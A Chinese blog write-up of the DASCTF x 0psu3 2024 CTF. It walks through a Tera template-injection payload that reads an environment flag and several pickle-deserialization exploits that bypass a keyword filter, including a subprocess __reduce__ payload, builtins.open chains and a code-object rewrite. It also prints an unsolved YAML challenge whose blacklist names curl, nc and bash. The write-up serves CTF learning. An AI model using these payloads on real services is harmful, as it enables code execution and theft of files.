DASCTF x 0psu3 2024最后一战

2024/12/21 CTF线上赛

字数统计: 2.1k字 | 阅读时长: 10分 | 总文章阅读量：次

前言

时隔一年，这次连签到都差点做不来了

唉唉web又爆零了，埋了，得了一种打 DAS 就做不动题的病

等期末考完再复现，要被期末考薄纱了😭

参考：

https://www.cnblogs.com/gxngxngxn/p/18620905

https://www.yuque.com/chuangfeimeiyigeren/eeii37/oxv3gaim7fr89ed2?singleDoc#

https://zer0peach.github.io/2024/12/30/DASCTF2024-%E5%AF%92%E5%A4%9C%E7%A0%B4%E6%99%93-%E5%86%AC%E8%87%B3%E7%BB%88%E7%AB%A0-web/

签到题

请仔细观察这个链接，会先到 game.wetolink.com，那么，稍微扫描一下能有什么发现呢？

公网 https 我哪敢直接扫啊（

它给的网站并非真实的报名网站

扫一下发现有robots.txt

西湖论剑邀请函获取器

提交截图那里，队名好像可以 81 ？但好像不是 Python 写的，是 Rust 吗（喜）；不用RCE，拿到环境变量FLAG的内容即可。

有ssti

浅浅测一下发现确实是 tera 模板，此事在三峡杯初赛中亦有记载

无过滤那就直接读

{{ get_env(name="FLAG") }}}

const_python（复现）

import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

flag路径已知在/flag，根本逻辑就是 pickle 绕 waf 打文件包含

值得注意的是开头引入了 builtins 和 io 两个库

观察一下waf

"os", "system", "eval", 'setstate', "globals", 'exec',
'__builtins__', 'template', 'render', '\\', 'compile', 'requests',
'exit', 'pickle', "class", "mro", "flask", "sys", "base", "init",
"config", "session"

观察一下，引入的库里也就 builtins 和 io 没被ban

非预期

想了半天怎么用它给的 io 把读取的文件对象带出来，结果直接用subprocess库 cp 到 app.py 就行了

import base64
import pickle
import subprocess  

class proc():
    def __reduce__(self):
        return (subprocess.check_output, (["cp","/flag","/app/app.py"],)) 
  
a=proc()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

还可以利用 builtins.open 读出 /flag 再写入 app.py

builtins.getattr(builtins.open('/flag'),'read')()
builtins.getattr(builtins.open('./app.py','w'),'write')(builtins.getattr(builtins.open('/flag'),'read')())

写pker脚本生成opcode：

getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')

flag=open('/flag')
read=getattr(flag, 'read')
f=open('./app.py','w')
write=getattr(f, 'write')
fff=read()
write(fff)

return

预期

预期蛮有意思，也契合了这题的题目名称——const

python字节码

首先了解一下python的字节码，参考：https://developer.aliyun.com/article/1615860

PyCodeObject 的底层结构：Include/code.h

typedef struct {
    PyObject_HEAD	// 头部信息，我们看到真的一切皆对象，字节码也是个对象
    int co_argcount;	// 可以通过位置参数传递的参数个数
    int co_posonlyargcount;     // 只能通过位置参数传递的参数个数，Python3.8新增
    int co_kwonlyargcount;     // 只能通过关键字参数传递的参数个数
    int co_nlocals;             // 代码块中局部变量的个数，也包括参数
    int co_stacksize;          // 执行该段代码块需要的栈空间
    int co_flags;               // 参数类型标识    
    int co_firstlineno;         // 代码块在文件中的行号
    PyObject *co_code;         // 指令集，也就是字节码，它是一个bytes对象 
    PyObject *co_consts;       // 常量池，一个元组，保存代码块中的所有常量
    PyObject *co_names;      // 一个元组，保存代码块中引用的其它作用域的变量   
    PyObject *co_varnames;    // 一个元组，保存当前作用域中的变量
    PyObject *co_freevars;      // 内层函数引用的外层函数的作用域中的变量
    PyObject *co_cellvars;      // 外层函数的作用域中被内层函数引用的变量，本质上和co_freevars是一样的
    Py_ssize_t *co_cell2arg;
    PyObject *co_filename;    // 代码块所在的文件名
    PyObject *co_name;         // 代码块的名字，通常是函数名、类名，或者文件名
    PyObject *co_lnotab;        // 字节码指令与python源代码的行号之间的对应关系，以PyByteObject的形式存在
} PyCodeObject;

python 编译器在对源代码进行编译的时候，对于代码中的每一个 block，都会创建一个 PyCodeObject 与之对应

block：当进入一个新的命名空间，或者说作用域时，就算是进入了一个新的 block

demo：

class A:
    a = 123
def foo():
    a = []

这段代码编译完后会产生三个 PyCodeObject 对象，因为这是三个不同的作用域，一个是对应整个 py 文件（模块）的，一个是对应 class A 的，一个是对应 def foo 的

然后是获取 PyCodeObject，首先该对象在 Python 里面的类型是 <class 'code'>，但是底层没有将这个类暴露给我们，我们可以用__code__的方式获取

def src():
    return open("app.py", "r", encoding="utf-8").read()
print(src.__code__)  # <code object ......
print(type(src.__code__))  # <class 'code'>

既然拿到对象了就能拿到底层对应的 PyCodeObject 对象，对象种类参考上面的数据结构

def src():
    return open("app.py", "r", encoding="utf-8").read()

oCode = src.__code__
print(oCode.co_argcount)
print(oCode.co_posonlyargcount)
print(oCode.co_kwonlyargcount)
print(oCode.co_nlocals)
print(oCode.co_stacksize)
print(oCode.co_flags)
print(oCode.co_code)
print(oCode.co_consts)
print(oCode.co_names)
print(oCode.co_varnames)
print(oCode.co_filename)
print(oCode.co_name)
print(oCode.co_firstlineno)
print(oCode.co_lnotab)
print(oCode.co_freevars)
print(oCode.co_cellvars)

输出之后发现一些有趣的部分

我们如果能够篡改这里的 co_consts 部分为 flag 即可实现读取文件

创建codeObject

参考：https://stackoverflow.com/questions/16064409/how-to-create-a-code-object-in-python

使用types.CodeType方法实现

import types

def src():
    return open("app.py", "r", encoding="utf-8").read()


oCode = src.__code__

src.__code__ = types.CodeType(
    oCode.co_argcount,
    oCode.co_posonlyargcount,
    oCode.co_kwonlyargcount,
    oCode.co_nlocals,
    oCode.co_stacksize,
    oCode.co_flags,
    oCode.co_code,
    (None, '/flag', 'r', 'utf-8', ('encoding', )),
    oCode.co_names,
    oCode.co_varnames,
    oCode.co_filename,
    oCode.co_name,
    oCode.co_firstlineno,
    oCode.co_lnotab,
    oCode.co_freevars,
    oCode.co_cellvars,
)
print(src.__code__.co_consts)
print(src())

构造pickle

最头大的一集，怎么手搓呢（

在此之前，要先把上面的.全部换成 getattr 的形式

g1 = builtins.getattr
g2 = getattr(src,"__code__")
g3 = getattr(g2,"co_argcount")
g4 = getattr(g2,"co_posonlyargcount")
g5 = getattr(g2,"co_kwonlyargcount")
g6 = getattr(g2,"co_nlocals")
g7 = getattr(g2,"co_stacksize")
g8 = getattr(g2,"co_flags")
g9 = getattr(g2,"co_code")
g10 = (None, '/flag', 'r', 'utf-8', ('encoding',))  # g10 = getattr(g2,"co_consts")
g11 = getattr(g2,"co_names")
g12 = getattr(g2,"co_varnames")
g13 = getattr(g2,"co_filename")
g14 = getattr(g2,"co_name")
g15 = getattr(g2,"co_firstlineno")
g16 = getattr(g2,"co_lnotab")
g17 = getattr(g2,"co_freevars")
g18 = getattr(g2,"co_cellvars")

g19 = types.CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)
g20 = builtins.setattr
g20(src,"__code__",g19)

使用最新版的pker生成payload（2025.1.1更新支持NoneType）

getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
setattr = GLOBAL('builtins', 'setattr')
CodeType = GLOBAL('types', 'CodeType')
src = GLOBAL('__main__', 'src')

g2 = getattr(src,"__code__")
g3 = getattr(g2,"co_argcount")
# g4 = getattr(g2,"co_posonlyargcount") 因为会ban os字符串，于是用 co_argcount 代替
g4 = getattr(g2,"co_argcount")
g5 = getattr(g2,"co_kwonlyargcount")
g6 = getattr(g2,"co_nlocals")
g7 = getattr(g2,"co_stacksize")
g8 = getattr(g2,"co_flags")
g9 = getattr(g2,"co_code")
g10 = (None, '/flag', 'r', 'utf-8', ('encoding',))
# g10 = getattr(g2,"co_consts")
g11 = getattr(g2,"co_names")
g12 = getattr(g2,"co_varnames")
g13 = getattr(g2,"co_filename")
g14 = getattr(g2,"co_name")
g15 = getattr(g2,"co_firstlineno")
g16 = getattr(g2,"co_lnotab")
g17 = getattr(g2,"co_freevars")
g18 = getattr(g2,"co_cellvars")
g19 = CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)
g20 = setattr
g20(src,"__code__",g19)

return

yaml_matser（Unsolved）

import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()


    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))

@app.route('/')
def index():
    return '''
    Welcome to DASCTF X 0psu3
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/Yam1">Yam1</a>
    '''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            uploaded_file = request.files['file']

            if uploaded_file and is_yaml_file(uploaded_file.filename):
                file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
                uploaded_file.save(file_path)

                return jsonify({"message": "uploaded successfully"}), 200
            else:
                return jsonify({"error": "Just YAML file"}), 400

        except Exception as e:
            return jsonify({"error": str(e)}), 500


    return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'


if __name__ == '__main__':
    app.run()

目录

LOADING